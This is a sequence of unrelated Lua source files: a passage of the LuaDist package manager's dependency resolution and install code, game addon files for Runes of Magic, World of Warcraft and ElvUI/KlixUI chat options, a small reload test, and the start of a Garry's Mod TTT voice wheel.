-- case it contains dist.info entry its added to the manifest.
--
-- In case of multiple repositories, first repository always has priority. Dists are
-- ordered by repository, name and version. Every item is checked, malformed entries
-- are removed.
--
-- @param repositories string or table: Path or URL of a repository or repositories. By default cfg.repo is used if argument is not defined.
-- @return manifest: Table containing collections of available dists.
function getManifest(repositories)
-- If no repository is provided use default ones from configuration.
repositories = repositories or cfg.repo
-- Make sure the argument is always a table.
if type(repositories) == "string" then repositories = { repositories } end
-- Check if we can continue.
assert(type(repositories) == "table", "dist.getManifest: Argument 'repositories' is not a table or string.")
local manifest = {}
-- Collect all dists.info entries from each repo.
for i = 1, #repositories do
-- Append all dist.infos found.
local repo = man.get(repositories[i]) or {}
for j = 1, #repo do
table.insert(manifest, repo[j])
end
end
return manifest
end
--- Get all installed dists from deployment directory.
-- _getInstalled_ will collect all installed dists inside a deployment directory.
-- These represent installed dists; provided dists are not included, see _getDeployed_
-- if you need a provided dists too.
--
-- @param deployment string: Path to deployment directory. If not specified the deployment LuaDist is running in will be used.
-- @return manifest: Table containing collections of installed dists.
function getInstalled(deployment)
-- Set up deployment directory if not set
deployment = sys.path(deployment or getDeployment())
assert(type(deployment) == "string", "dist.getInstalled: Argument 'deployment' is not a string.")
if not sys.isDir(sys.path(deployment, cfg.dists)) then
return {}
end
-- Collect dists in deployment using getManifest.
return getManifest(sys.path(deployment, cfg.dists)) or {}
end
--- Get all deployed dists in the target dir, this will also list dists provided by other dists.
-- _getDeployed_ will collect all deployed dists inside a deployment directory.
-- This inludes entries that simulate provided dists which act as dependency satisfaction for dists
-- during installation.
--
-- Integration with host package managers can be achieved by providing a list of modules already
-- installed directly to the host system. The list can be edited directly by the user in configuration.
--
-- @param deployment string: Path to deployment directory. If not specified the deployment LuaDist is running in will be used.
-- @return manifest: Table containing collections of deployed dists.
function getDeployed(deployment)
-- Set up deployment directory if not set
deployment = sys.path(deployment or getDeployment())
assert(type(deployment) == "string", "dist.getDeployed: Argument 'deployment' is not a string.")
-- Get installed dists
local list, err = getInstalled(deployment)
if not list then return nil, err end
-- Helpful dist.info generator from dists and cfg.provided
local function getProvidedDists(info)
if not info then
-- Fake host provides
info = { name = "Host", version = "config", provides = cfg.provides, arch = cfg.arch, type = cfg.type }
end
-- Generate dist.info for the provided dists
local manifest = {}
for _, provide in pairs(info.provides or {}) do
local dist = {}
dist.name, dist.version = dep.split(provide)
dist.arch = info.arch
dist.type = info.type
dist.provided = info.name .. "-" .. info.version
table.insert(manifest, dist)
end
return manifest
end
-- Insert provided entries collected from installed dists
local manifest = {}
for i = 1, #list do
local dist = list[i]
table.insert(manifest, dist)
local provided = getProvidedDists(dist)
for j = 1, #provided do
table.insert(manifest, provided[j])
end
end
-- Include list of provided dists from host (cfg.provided)
local provided = getProvidedDists()
for j = 1, #provided do
table.insert(manifest, provided[j])
end
return manifest
end
--- Filter dist manifests using constraint functions.
-- _filterManifest_ is used to remove dists from dist manifests that don't satisfy conditions.
-- Conditions are specified using a table of functions. Functions are named after the attribute
-- they check and return true if an argument satisfies its condition.
--
-- When constraint are not defined a default set of constraints is used. These constraints filter
-- out dists not suitable for the architecture LuaDist is running on. More specifically, only dists
-- of arch "Universal" or of arch equal to cfg.arch and of type "all" or type equal to cfg.type
-- are preserved. Additionally when source dists are enabled in configuration this will include dists
-- of type equal to "source".
--
-- In case no manifest is specified _filterManifest_ will automatically collect dist manifests from default
-- repositories using _getManifest_.
--
-- @param list table: Dist list or manifest to filter. By default all dists collected from cfg.repo will be filtered.
-- @param constraints table: Table of constraint function. Key determines what dist attribute is checked while the value is the actual constraint test written as a function. By default dists are filtered for correct arch-type.
-- @return manifest: Table containing collections of filtered dists.
function filterManifest(list, constraints)
-- By default fetch dists if not provided
list = list or getManifest() or {}
-- Default constraints filter arch and type of dists
constraints = constraints or {
-- Architecture constraints
arch = function(arch)
if not arch or arch == "Universal" then return true end
if cfg.binary and arch == cfg.arch then return true end
return false
end,
-- Type constraints
type = function(type)
if not type or type == "all" then return true end
if cfg.binary and type == cfg.type then return true end
if cfg.source and type == "source" then return true end
return false
end
}
-- Check if we can continue.
assert(type(list) == "table", "dist.filterManifest: Argument 'list' is not a table.")
assert(type(constraints) == "table", "dist.filterManifest: Argument 'constraints' is not a table.")
-- Matching dists
local manifest = {}
-- For each dist match constraints
for i = 1, #list do
local dist = list[i]
local match = true
-- Accumulate constraint checks
for key, constraint in pairs(constraints) do
match = match and constraint(dist[key])
end
-- If all went ok
if match then
table.insert(manifest, dist)
end
end
return manifest
end
--- Find dists in manifest by name.
-- _findDists_ will find all dists in manifest that satisfy conditions in the name string.
-- Name contains dist name to search for and a set of optional version constraints. For example
-- searching for "lua-5.1.4" will find all dists of name "lua" and version "5.1.4". Searching for version
-- ranges is done using sets of constraints eg. "luajit >= 2.0 < 3.0". For more information, limitations
-- and use of the constraint system please see LuaDist documentation.
--
-- @param name string: String specifying the dist to find, version constraints can be used. Case sensitive.
-- @param manifest string: Dist manifest to search through.
-- @return dist, log: List of matching dists. Returns nil on error and log message.
function findDists(names, manifest)
-- We can handle name lists and mane sring directly
if type(names) == "string" then names = { names } end
-- If manifest is missing we get it from configured repository
manifest = manifest or filterManifest() or {}
-- Check if we can continue
assert(type(names) == "table", "dist.findDists: Argument 'names' is not a table or string.")
assert(type(manifest) == "table", "dist.findDists: Argument 'manifest' is not a table.")
if #names == 0 then return manifest end
local dists = {}
for i = 1, #names do
local name = names[i]
-- Split name to dist-name and constraints
local name, constraints = dep.split(name)
-- Escape special chars in name
local match = "^" .. name:gsub("%.", "%%."):gsub("%-", "%%-"):gsub("%_", "%%_"):gsub("%*", ".*") .. "$"
-- Filter manifest using custom constraints
local list = filterManifest(manifest, {
name = function(distName)
return string.match(distName, match)
end,
version = function(distVer)
return dep.constrain(distVer, constraints or "")
end
})
for j = 1, #list do
table.insert(dists, list[j])
end
end
return dists
end
--- Small help function to get relevant names from info
local function getInfoNames(tbl)
local ret = {}
tbl = tbl or {}
for k,v in pairs(tbl) do if (type(v)=="string") then table.insert(ret, v) end end
for k,v in pairs(tbl[cfg.arch] or {}) do if (type(v)=="string") then table.insert(ret, v) end end
for k,v in pairs(tbl[cfg.type] or {}) do if (type(v)=="string") then table.insert(ret, v) end end
return ret
end
--- Collect dependencies.
-- _getDeps_ is the magic function where dependency resolving happens.
-- This function handles multiple names for which it computes the best possible set of dists that satisfy
-- all the names. It consideres provided dists, conflicts and dependencies of each candidate dist and avoids
-- dependency loops. It may not be very elegant or efficient, contributions welcome.
--
-- The algorithm relies on sequential satisfaction of names. For each name it tries to determine
-- best possible candidate and tries to install its dependencies and rest of the names list.
-- If dependencies fail another candidate is checked untill all names check out or candidates run out.
-- Provides are faked by injecting dists into manifest and replaced before return.
--
-- @param names string or table: Names to compute dependencies for.
-- @param manifest table: Manifest of dists to select dependencies from, needs to be sorted.
function getDeps(names, manifest)
manifest = manifest or filterDists()
if type(names) == "string" then names = { names } end
-- Type Checks
assert(type(names) == "table", "dist.getDeps: Argument 'names' is not a table or string.")
assert(type(manifest)=="table", "dist.getDeps: Argument 'manifest' is not a table.")
-- Check out first from the list and find its candidates
local name = names[1]
local candidates = findDists(name, manifest)
-- For each candidate we check its suitability
for i = 1, #candidates do
local info = candidates[i]
local infoName = info.name .. "-" .. info.version
-- Add candidate dependencies to names
-- Notice deps will be used according to arch and type if they are available
local newNames = {}
for _, entry in pairs(getInfoNames(info.depends)) do
table.insert(newNames, entry)
end
for j = 2, #names do
table.insert(newNames, names[j])
end
-- Make new manifest with provided dists
local newManifest = {}
for _, entry in pairs(getInfoNames(info.provides)) do
-- Construct a fake provided dist pointing to the provider
local dist = {}
dist.name, dist.version = dep.split(entry)
dist.arch = info.arch
dist.type = info.type
dist.provided = info
table.insert(newManifest, dist)
end
for j = 1, #manifest do
table.insert(newManifest, manifest[j])
end
-- Check dependencies first
local dependencies = {}
if #newNames > 0 then
dependencies, err = getDeps(newNames, newManifest)
if not dependencies then
return nil, err
end
end
-- If provided we skip tests as the providing dist will make sure of it
if info.provided then
if type(info.provided) == "table" then
table.insert(dependencies, info.provided)
end
return dependencies
end
-- Skip rest if candidate is in deps
for _, prov in pairs(dependencies) do
local provName = prov.name .. "-" .. prov.version
-- Check if already provided
if info.name == prov.name then
if info.version == prov.version then
-- If provided by a dist checking its deps.
return dependencies
else
-- Different version
return nil, infoName .. " is blocked by " .. provName
end
end
-- Check dependency constraints
for _, entry in pairs(getInfoNames(prov.depends)) do
local name, const = dep.split(entry)
if info.name == name and (not const or not dep.constrain(info.version, const)) then
return nil, infoName .. " is blocked by " .. provName .. " dependency " .. entry
end
end
-- Indirect conflicts
for _, entry in pairs(getInfoNames(prov.conflicts)) do
local name, const = dep.split(entry)
if info.name == name and (not const or not dep.constrain(info.version, const)) then
return nil, infoName .. " is blocked by " .. provName .. " conflict " .. entry
end
end
-- Direct conflicts
for _, entry in pairs(getInfoNames(info.conflicts)) do
local name, const = dep.split(entry)
if prov.name == name and (not const or not dep.constrain(prov.version, const)) then
return nil, infoName .. " is in conflict with " .. provName .. " conflict " .. entry
end
end
end
--- Candidate matches, add it to result
table.insert(dependencies, info)
return dependencies
end
return nil, "No suitable dists in repository for " .. name
end
--- Install dist by name.
-- _install_ is capable to install dists from various sources and of both source and binary type.
-- Sources can be accumulated into install lists in which case LuaDist will install the sources in sequence.
-- Sources supported by the command currently include: name, path and URL to .dist and .zip, path to unpacked dist
-- and dist.info table.
--
-- @param name string: Package to install identified by name which can include version constraints. Case sensitive.
-- @param deployment string: Deployment directory to install into. Leave undefined for current deployment directory.
-- @param manifest table: Manifest of dists used to search for sources and resolve dependencies. Leave undefined for default repositories.
-- @param variables table: Table of key value pairs that can be used to set additional CMake variables for source dists.
-- @return ok, log: Returns true on success. nil on error and log message.
function install(names, deployment, manifest, variables)
-- Make sure deployment path is absolute and set
deployment = sys.path(deployment or getDeployment())
-- Make sure we have a manifest to install dists from
manifest = manifest or filterManifest()
-- Default variables can be omitted so make sure we have a table
variables = variables or {}
-- Make sure names are always in a list
if type(names) == "string" then names = { names } end
-- Check types
assert(type(names) == "table", "dist.install: Argument 'name' is not a string or table.")
assert(type(deployment)=="string", "dist.install: Argument 'deployment' is not a string.")
assert(type(manifest)=="table", "dist.install: Argument 'manifest' is not a table.")
assert(type(variables)=="table", "dist.install: Argument 'variables' is not a table.")
log.message("Computing dependencies.")
-- Create custom manifest starting with deployed dists
local manif = {}
for _, depl in pairs(getDeployed(deployment) or {}) do
table.insert(manif, depl)
end
for j = 1, #manifest do
local dist = manifest[j]
table.insert(manif, dist)
end
-- Compute dependencies
local deps, err = getDeps(names, manif)
if not deps then return nil, err end
-- Fetch and deploy
for i = 1, #deps do
local ok, err = deploy(deps[i].path, deployment, variables)
if not ok then return nil, err end
end
return true, "Install Successful."
end
--- Deploy a dist directly from source.
-- _deploy_ will install; and in case of source dists, build a dist from source path.
-- Deployment will automatically fetch from remote URLs and unpack dist or zip files into deploymemt.
-- Variables can contain additional CMake variables to be used when building source dists.
--
-- @param src string: Path to the dist directory to make/deploy or nil to use current directory.
-- @param deployment string: Deployment directory to install the dist into. If nil LuaDist directory is used.
-- @param variables table: Table of key value pairs that can be used to set additional CMake variables for source dists.
-- @return ok, log: Returns true on success. nil on error and log message.
function deploy(src, deployment, variables)
-- Make sure deployment path is absolute and set
deployment = sys.path(deployment or getDeployment())
-- Make sure deployment exists and create startup script
sys.makeDir(deployment)
-- Default variables can be omited so make sure we have a table
variables = variables or {}
-- Handle each source individually if a list is passed
if type(src) == "table" then
for i = 1, #src do
local ok, err = deploy(src[i], deployment, variables)
if not ok then return nil, err end
end
return true, "Install Successful"
end
-- By default build in current directory
src = sys.path(src or sys.curDir())
assert(type(src)=="string", "dist.deploy: Argument 'src' is not a string.")
assert(type(deployment)=="string", "dist.deploy: Argument 'deployment' is not a string.")
assert(type(variables)=="table", "dist.deploy: Argument 'variables' is not a table.")
-- Fetch if needed
local tmp, err
if not sys.isDir(src) then
tmp, err = package.unpack(src)
if not tmp then
log.message("Could not fetch following dist: " .. src .. " (" .. err .. ")")
return false, "Could not fetch following dist: " .. src .. " (" .. err .. ")"
end
-- Use the 1st subdirectory of the tmp
src = sys.path(tmp, sys.dir(tmp)[1])
end
-- Check dist info
local info, err = persist.load(sys.path(src, "dist.info"), variables)
if not info then return nil, "Dist does not contain valid dist.info in " .. src end
-- We have a dist
local infoName = info.name .. "-" .. info.version
log.message("Processing " .. infoName)
-- Check the package contents for CMakeLists.txt, that would mean the package is of type source.
if sys.exists(sys.path(src, "CMakeLists.txt")) then
info.arch = info.arch or "Universal"
info.type = info.type or "source"
end
-- Check the architecture if its suitable for deployment.
if info.arch ~= cfg.arch and info.arch ~= "Universal" then
return nil, "Dist is of incompatible architecture " .. (info.arch or "NOT-SET") .. "-" .. (info.type or "NOT-SET")
end
-- Check the type if its suitable for deployment
if info.type ~= cfg.type and info.type ~= "all" and info.type ~= "source" then
return nil, "Dist is of incompatible architecture type " .. info.arch .. "-" .. info.type
end
-- If the dist is not source we simply deploy it.
if info.type ~= "source" then
local ok, err = package.deploy(src, deployment)
-- Cleanup
if not config.debug and tmp then sys.delete(tmp) end
if not ok then return nil, "Failed to deploy package " .. src .. " to " .. deployment .. "." .. err end
-- Display message
if info.message then
log.message(info.message)
end
return true, "Deployment Successful."
end
--- We have a source dist.
log.message("Building ...")
-- Setup variables by mergeing cfg.variables and variables
local vars = {}
for k,v in pairs(cfg.variables or {}) do
vars[k] = v
end
for k, v in pairs(variables or {}) do
vars[k] = v
end
-- Set CMake search paths for libs and headers to the deployment directory
vars.CMAKE_INCLUDE_PATH = table.concat({ sys.path(vars.CMAKE_INCLUDE_PATH) or "", sys.path(deployment, "include")}, ";")
vars.CMAKE_LIBRARY_PATH = table.concat({ sys.path(vars.CMAKE_LIBRARY_PATH) or "", sys.path(deployment, "lib"), sys.path(deployment, "bin")}, ";")
vars.CMAKE_PROGRAM_PATH = table.concat({ sys.path(vars.CMAKE_PROGRAM_PATH) or "", sys.path(deployment, "bin")}, ";")
-- Build and deploy the package
local bin, err = package.build(src, deployment, vars)
-- Cleanup
if not config.debug and tmp then sys.delete(tmp) end
if not bin then return nil, "Failed to build dist " .. infoName .. " error: " .. err end
-- Display message
if info.message then
log.message(info.message)
end
return true, "Deployment Successful."
end
--- Remove a deployed dist.
-- _remove_ will delete specified dist from deployment.
-- When no name is specified, the whole deployment directory will be removed.
-- WARNING: Calling "luadist remove" will instruct LuaDist to commit suicide.
--
-- @param dist string or table: Dist name or info to uninstall.
-- @param deployment string: Deployment directory to uninstall from, nil for default LuaDist directory.
-- @return ok, log: Returns true on success. nil on error and log message.
function remove(names, deployment)
-- Make sure deployment path is absolute and set
deployment = sys.path(deployment or getDeployment())
-- Make sure names are always in a table
if type(names) == "string" then names = {names} end
-- Check types
assert(type(names) == "table" , "dist.remove: Argument 'names' is not a string or table.")
assert(type(deployment) == "string", "dist.remove: Argument 'deployment' is not a string.")
-- Find dists
local dists = findDists(names, getInstalled(deployment))
if not dists then return nil, "Nothing to delete." end
-- Delete the dists
for _, dist in pairs(dists) do
local ok = package.delete(dist.path, deployment)
if not ok then return nil, "Could not remove dist " .. dist.name .. "-" .. dist.version end
end
return true, "Remove Successful."
end
--- Pack a deployed dist.
-- _pack_ will pack specified dist from deployment deployment and generate .dist archives in dest.
-- When no name is specified all dists will be packed.
--
-- @param dist string or table: Dist name or info to uninstall.
-- @param deployment string: Deployment directory to uninstall from, nil for default LuaDist directory.
-- @param dest string: Optional destination for the result
-- @return ok, log: Returns true on success. nil on error and log message.
function pack(names, deployment, dest)
-- Make sure deployment path is absolute and set
deployment = sys.path(deployment or getDeployment())
-- Make sure names are always in a table
if type(names) == "string" then names = {names} end
-- Check types
assert(type(names) == "table" , "dist.pack: Argument 'names' is not a string or table.")
assert(type(deployment) == "string", "dist.pack: Argument 'deployment' is not a string.")
-- Find dists
local dists = findDists(names, getInstalled(deployment))
if not dists then return nil, "Nothing to pack." end
-- Pack the dists
for _, dist in pairs(dists) do
local ok, err = package.pack(dist.path, deployment, dest)
if not ok then return nil, "Failed to pack dist " .. dist.name .. "-" .. dist.version end
end
return true, "Pack Successful."
end
--- Get deployment directory.
-- @return path: Full path to the LuaDist install directory
function getDeployment()
return cfg.root
end
|
--[[ ä
Name: Advanced Questbook
By: Crypton
]]
if (AQB_MAP_NAMES == nil) then
AQB_MAP_NAMES = {
[1] = TEXT("ZONE_WAILING MOUNTAINS"),
[2] = TEXT("ZONE_SILVERSPRING"),
[3] = TEXT("ZONE_RAVENFELL"),
[4] = TEXT("ZONE_ASLAN"),
[5] = TEXT("ZONE_HYBORA HIGHLANDS"),
[6] = TEXT("ZONE_DUSTBLOOM CANYON"),
[7] = TEXT("ZONE_WEEPING COAST"),
[8] = TEXT("ZONE_SAVAGE LANDS"),
[9] = TEXT("ZONE_MOUNT AL TURAJ"),
[10] = TEXT("ZONE_SASCILIA STEPPES"),
[11] = TEXT("ZONE_DRAGONFANG RIDGE"),
[12] = TEXT("ZONE_ELVEN CITADEL"),
[13] = TEXT("ZONE_Z13_PELICO_COAST"),
[14] = TEXT("ZONE_Z14_XAVIERA"),
[15] = TEXT("ZONE_THUNDERHOOF_MESA"),
[16] = TEXT("ZONE_SOUTHERN_JANOST_FOREST"),
[17] = TEXT("ZONE_NORTHERN_JANOST_FOREST"),
[18] = TEXT("ZONE_LYMOR_DESERT"),
[19] = TEXT("ZONE_SINISTER_LANDS"),
[20] = TEXT("ZONE_Z20_RED_HILLS"),
[100] = TEXT("ZONE_TUTORIAL"),
[101] = TEXT("ZONE_DGN_CAVERN_OF_TRIALS"),
[102] = TEXT("ZONE_ALL_INSTANCE"),
[103] = TEXT("ZONE_THE RELIQUARY OF REFLECTIONS"),
[104] = TEXT("ZONE_MYSTIC ALTAR"),
[105] = TEXT("ZONE_DGN_KALTUROK_QUEEN_CHAMBER"),
[106] = TEXT("ZONE_BORSBURS"),
[107] = TEXT("ZONE_DGN_KLEEON_TEMPLE"),
[108] = TEXT("ZONE_DGN_THE_TREASURE_TROVE"),
[110] = TEXT("ZONE_THE WRETCHED GROTTO"),
[113] = TEXT("ZONE_DGN_MULGRUM_RELIC"),
[114] = TEXT("ZONE_DGN_MULGRUM_RELIC"),
[115] = TEXT("ZONE_DGN_ECHOES_OF_THE_SEA"),
[116] = TEXT("ZONE_DGN_THE_ORIGIN"),
[117] = TEXT("ZONE_DGN_HALL_OF_SURVIVORS"),
[118] = TEXT("ZONE_DGN_MOONSPRING_HOLLOW"),
[119] = TEXT("ZONE_DRAGONS NEST"),
[120] = TEXT("ZONE_DGN_NAGA_ACROPOLIS_ZURHIDON"),
[122] = TEXT("ZONE_DGN_DRAGONS_NEST"),
[201] = TEXT("ZONE_TILEDGN_BLOODY_GALLERY"),
[202] = TEXT("ZONE_TILEDGN_HYBORA_LABYRINTH_01"),
[203] = TEXT("ZONE_TILEDGN_HYBORA_LABYRINTH_02"),
[204] = TEXT("ZONE_TILEDGN_HYBORA_LABYRINTH_03"),
[205] = TEXT("ZONE_TILEDGN_HYBORA_LABYRINTH_01"),
[206] = TEXT("ZONE_TILEDGN_HYBORA_LABYRINTH_02"),
[207] = TEXT("ZONE_TILEDGN_HYBORA_LABYRINTH_03"),
[250] = TEXT("ZONE_TILEDGN_WINDMILL_BASEMENT"),
[251] = TEXT("ZONE_TILEDGN_LASKOTAR_ARCANE_CHAMBER"),
[252] = TEXT("ZONE_TILEDGN_CITADEL_AGRIZA"),
[301] = TEXT("ZONE_EVENTDGN_MYCONID_FARM"),
[302] = TEXT("ZONE_EVENTDGN_WIND_WILD_ANIMUS"),
[303] = TEXT("ZONE_EVENTDGN_WEDDING_HALL"),
[350] = TEXT("ZONE_EVENTDGN_RACETRACK_01"),
[352] = TEXT("ZONE_EVENTDGN_GOBLIN_MINES"),
[400] = TEXT("ZONE_DEFAULT"),
[401] = TEXT("ZONE_HOUSE_GUILD_001"),
[410] = TEXT("ZONE_BG_COLISEUM_1V1_001"),
[411] = TEXT("ZONE_BG_COLISEUM_6V6_001"),
[430] = TEXT("ZONE_BG_COLISEUM_3V3_001"),
[431] = TEXT("ZONE_BG_CTF_001"),
[432] = TEXT("ZONE_BG_TOWER_DEFENSE_001"),
[440] = TEXT("ZONE_BG_COLISEUM_1V1_001"),
[441] = TEXT("ZONE_EVENTDGN_RACETRACK_01"),
[442] = TEXT("ZONE_BG_COLISEUM_3V3_001"),
[443] = TEXT("ZONE_BG_COLISEUM_6V6_001"),
[444] = TEXT("ZONE_BG_CTF_001"),
[445] = TEXT("ZONE_BG_TOWER_DEFENSE_001"),
[9999] = TEXT("ZONE_YGGNO LAND"),
[10000] = TEXT("ZONE_VARANAS"),
[10001] = TEXT("ZONE_OBSIDIAN BASTION"),
};
end
|
function WL2.init()
local frame = CreateFrame("FRAME", WL2.ADDON_NAME .. "_Frame")
for eventName in pairs(WL2.eventHandlers) do
frame:RegisterEvent(eventName)
end
frame:SetScript("OnEvent", function(self, evt, ...)
local handler = WL2.eventHandlers[evt]
if not handler then
return
end
handler({ ... })
end)
end
WL2.init()
|
dofile("test_setup.lua")
local file1 = [=[
return {
data = false
}
]=]
local t = DoFileString(file1)
assert(t.data == false)
t.data = true
ReloadFileString(file1)
assert(t.data == true)
|
local KUI, E, L, V, P, G = unpack(select(2, ...))
local KC = KUI:GetModule("KuiChat")
local CH = E:GetModule("Chat")
local function ChatTable()
E.Options.args.KlixUI.args.modules.args.chat = {
order = 7,
type = 'group',
name = L['Chat'],
args = {
name = {
order = 1,
type = "header",
name = KUI:cOption(L['Chat']),
},
credits = {
order = 2,
type = "group",
name = L["Credits"],
guiInline = true,
args = {
tukui = {
order = 1,
type = "description",
fontSize = "medium",
name = format("|cff00b3ffBlazeflack - CodeNameBlaze|r & |cff9482c9Shadow&Light - Darth Predator|r"),
},
},
},
general = {
order = 3,
type = "group",
name = L["Voice Menu"],
guiInline = true,
args = {
voicemenu = {
order = 1,
type = "toggle",
name = L["Voice Menu"],
desc = L["Enables the Voice Menu Bar.\n|cffff8000Note: The Voice Menu Bar is by default hidden and needs to be toggled through the chat button 'v'.|r"],
get = function(info) return E.db.KlixUI.chat[ info[#info] ] end,
set = function(info, value) E.db.KlixUI.chat[ info[#info] ] = value; E:StaticPopup_Show("PRIVATE_RL"); end,
},
socialbutton = {
order = 2,
type = "toggle",
name = L["Social Button"],
desc = L["Enables the Social Button at the Voice Menu Bar.\n|cffff8000Note: The Social Button is tied to the Voice Menu Bar which is by default hidden and needs to be toggled through the chat button 'v'.|r"],
disabled = function() return not E.db.KlixUI.chat.voicemenu end,
get = function(info) return E.db.KlixUI.chat[ info[#info] ] end,
set = function(info, value) E.db.KlixUI.chat[ info[#info] ] = value; E:StaticPopup_Show("PRIVATE_RL"); end,
},
},
},
chattabs = {
order = 4,
type = 'group',
name = L['Chat Tabs'],
guiInline = true,
args = {
select = {
order = 1,
type = "toggle",
name = L["Selected Indicator"],
desc = L["Shows you which of your docked chat tabs which is currently selected."],
get = function(info) return E.db.KlixUI.chat[ info[#info] ] end,
set = function(info, value) E.db.KlixUI.chat[ info[#info] ] = value; KC:SetSelectedTab(true) end,
},
styleTab = {
order = 2,
type = "select",
name = L["Style"],
values = {
["DEFAULT"] = "|cff0CD809>|r "..NAME.." |cff0CD809<|r",
["SQUARE"] = "|cff0CD809[|r "..NAME.." |cff0CD809]|r",
["BEND"] = "|cff0CD809(|r "..NAME.." |cff0CD809)|r",
["HALFDEFAULT"] = "|cff0CD809>|r "..NAME,
["CHECKBOX"] = [[|TInterface\ACHIEVEMENTFRAME\UI-Achievement-Criteria-Check:26|t]]..NAME,
["ARROWRIGHT"] = [[|TInterface\BUTTONS\UI-SpellbookIcon-NextPage-Up:26|t]]..NAME,
["ARROWDOWN"] = [[|TInterface\BUTTONS\UI-MicroStream-Green:26|t]]..NAME,
},
disabled = function() return not E.db.KlixUI.chat.select end,
get = function(info) return E.db.KlixUI.chat[ info[#info] ] end,
set = function(info, value) E.db.KlixUI.chat[ info[#info] ] = value; KC:SetSelectedTab(true) end,
},
colorTab = {
type = 'color',
order = 3,
name = COLOR,
hasAlpha = false,
disabled = function() return not E.db.KlixUI.chat.select or not (E.db.KlixUI.chat.styleTab == "DEFAULT" or E.db.KlixUI.chat.styleTab == "SQUARE" or E.db.KlixUI.chat.styleTab == "BEND" or E.db.KlixUI.chat.styleTab == "HALFDEFAULT") end,
get = function(info)
local t = E.db.KlixUI.chat[ info[#info] ]
local d = P.KlixUI.chat[info[#info]]
return t.r, t.g, t.b, d.r, d.g, d.b
end,
set = function(info, r, g, b)
E.db.KlixUI.chat[ info[#info] ] = {}
local t = E.db.KlixUI.chat[ info[#info] ]
t.r, t.g, t.b = r, g, b
KC:SetSelectedTab(true)
end,
},
fade = {
order = 4,
type = 'toggle',
name = L['Fade Chat Tabs'],
desc = L['Fade out chat tabs except the currently selected chat tab.'],
disabled = function() return not E.db.KlixUI.chat.select end,
get = function(info) return E.db.KlixUI.chat.fadeChatTabs end,
set = function(info, value) E.db.KlixUI.chat.fadeChatTabs = value; KC:SetSelectedTab(); end,
},
fadeAlpha = {
order = 5,
type = 'range',
name = L['Chat Tab Alpha'],
desc = L['Alpha of faded chat tabs.'],
min = 0, max = 1, step = 0.05,
disabled = function() return not E.db.KlixUI.chat.select or not E.db.KlixUI.chat.fadeChatTabs end,
get = function(info) return E.db.KlixUI.chat.fadedChatTabAlpha end,
set = function(info, value) E.db.KlixUI.chat.fadedChatTabAlpha = value; KC:SetSelectedTab(); end,
},
spacer = {
order = 6,
type = 'description',
name = '',
},
forceShow = {
order = 7,
type = 'toggle',
name = L['Force to Show'],
desc = L['Force a tab to show when it is flashing. This works both for when chat panel backdrop is hidden and when chat tab is faded.'],
disabled = function() return not E.db.KlixUI.chat.select end,
get = function(info) return E.db.KlixUI.chat.forceShow end,
set = function(info, value) E.db.KlixUI.chat.forceShow = value; KC:SetSelectedTab(); end,
},
forceShowBelowAlpha = {
order = 8,
type = 'range',
name = L['Force Show Threshold'],
desc = L['Threshold before a faded chat tab is forced to show. If a faded chat tab alpha is less than or equal to this value then it will be forced to show.'],
min = 0, max = 1, step = 0.05,
disabled = function() return not E.db.KlixUI.chat.select or not E.db.KlixUI.chat.forceShow end,
get = function(info) return E.db.KlixUI.chat.forceShowBelowAlpha end,
set = function(info, value) E.db.KlixUI.chat.forceShowBelowAlpha = value; end,
},
forceShowToAlpha = {
order = 9,
type = 'range',
name = L['Force Show Alpha'],
desc = L['Alpha of a chat tab when it is forced to show.'],
min = 0, max = 1, step = 0.05,
disabled = function() return not E.db.KlixUI.chat.select or not E.db.KlixUI.chat.forceShow end,
get = function(info) return E.db.KlixUI.chat.forceShowToAlpha end,
set = function(info, value) E.db.KlixUI.chat.forceShowToAlpha = value; end,
},
},
},
separators = {
order = 4,
type = "group",
name = L["Chat Separators"]..E.NewSign,
guiInline = true,
args = {
chatTabSeparator = {
order = 1,
type = "select",
name = L["Chat Tab Separators"],
desc = L["Add a thin black line below chat tabs to separate them from chat messages."],
get = function(info) return E.db.KlixUI.chat.chatTabSeparator end,
set = function(info, value) E.db.KlixUI.chat.chatTabSeparator = value; KUI:GetModule('KuiLayout'):ToggleChatSeparators(); end,
values = {
['HIDEBOTH'] = L['Hide Both'],
['SHOWBOTH'] = L['Show Both'],
['LEFTONLY'] = L['Left Only'],
['RIGHTONLY'] = L['Right Only'],
},
},
chatDataSeparator = {
order = 2,
type = "select",
name = L["Chat Datatext Separators"],
desc = L["Add a thin black line above chat datatexts to separate them from chat messages."],
disabled = function() return E.db.KlixUI.datatexts.chat.enable end,
get = function(info) return E.db.KlixUI.chat.chatDataSeparator end,
set = function(info, value) E.db.KlixUI.chat.chatDataSeparator = value; KUI:GetModule('KuiLayout'):ToggleChatSeparators(); end,
values = {
['HIDEBOTH'] = L['Hide Both'],
['SHOWBOTH'] = L['Show Both'],
['LEFTONLY'] = L['Left Only'],
['RIGHTONLY'] = L['Right Only'],
},
},
},
},
},
}
end
tinsert(KUI.Config, ChatTable)
|
-- Beep boop stuff.
include("cl_hud.lua")
include("arc.lua")
-- Actual code.
AzWheel.Wheel = {
Radius = 256 + 32,
Thickness = 128,
TumblerSize = 32,
BorderSize = 8,
ReactionTreshold = 0.675,
DrawingArcSteps = 16,
SegmentThickness = 64,
Segments = {}
}
local function defaultChatterDisabled()
return CurTime() - (AzWheel.LastChatter or 0) < 3;
end
--[[
HELP
]]--
table.insert(AzWheel.Wheel.Segments, {
Icon = nil,
Name = "tttwheel.seg.help",
Description = "tttwheel.seg.help.desc",
Call = function()
local sounds = {
"vo\\npc\\male01\\help01.wav"
}
local rnd = table.Random(sounds);
AzWheel:PlaySound(rnd, 100);
RunConsoleCommand("ttt_radio", "help");
end,
Disabled = defaultChatterDisabled
});
--[[
DISAGREE
]]--
table.insert(AzWheel.Wheel.Segments, {
Icon = nil,
Name = "tttwheel.seg.disagree",
Description = "tttwheel.seg.disagree.desc",
Call = function()
local sounds = {
"vo\\npc\\male01\\no01.wav",
"vo\\npc\\male01\\ohno.wav",
}
local rnd = table.Random(sounds);
AzWheel:PlaySound(rnd);
RunConsoleCommand("ttt_radio", "no");
end,
Disabled = defaultChatterDisabled
});
--[[
EXCUSE
]]--
table.insert(AzWheel.Wheel.Segments, {
Icon = nil,
Name = "tttwheel.seg.excuse",
Description = "tttwheel.seg.excuse.desc",
Call = function()
local sounds = {
"vo\\npc\\male01\\excuseme01.wav",
"vo\\npc\\male01\\excuseme02.wav",
"vo\\npc\\male01\\pardonme01.wav",
"vo\\npc\\male01\\pardonme02.wav"
}
local rnd = table.Random(sounds);
AzWheel:PlaySound(rnd);
end,
Disabled = defaultChatterDisabled
});
--[[
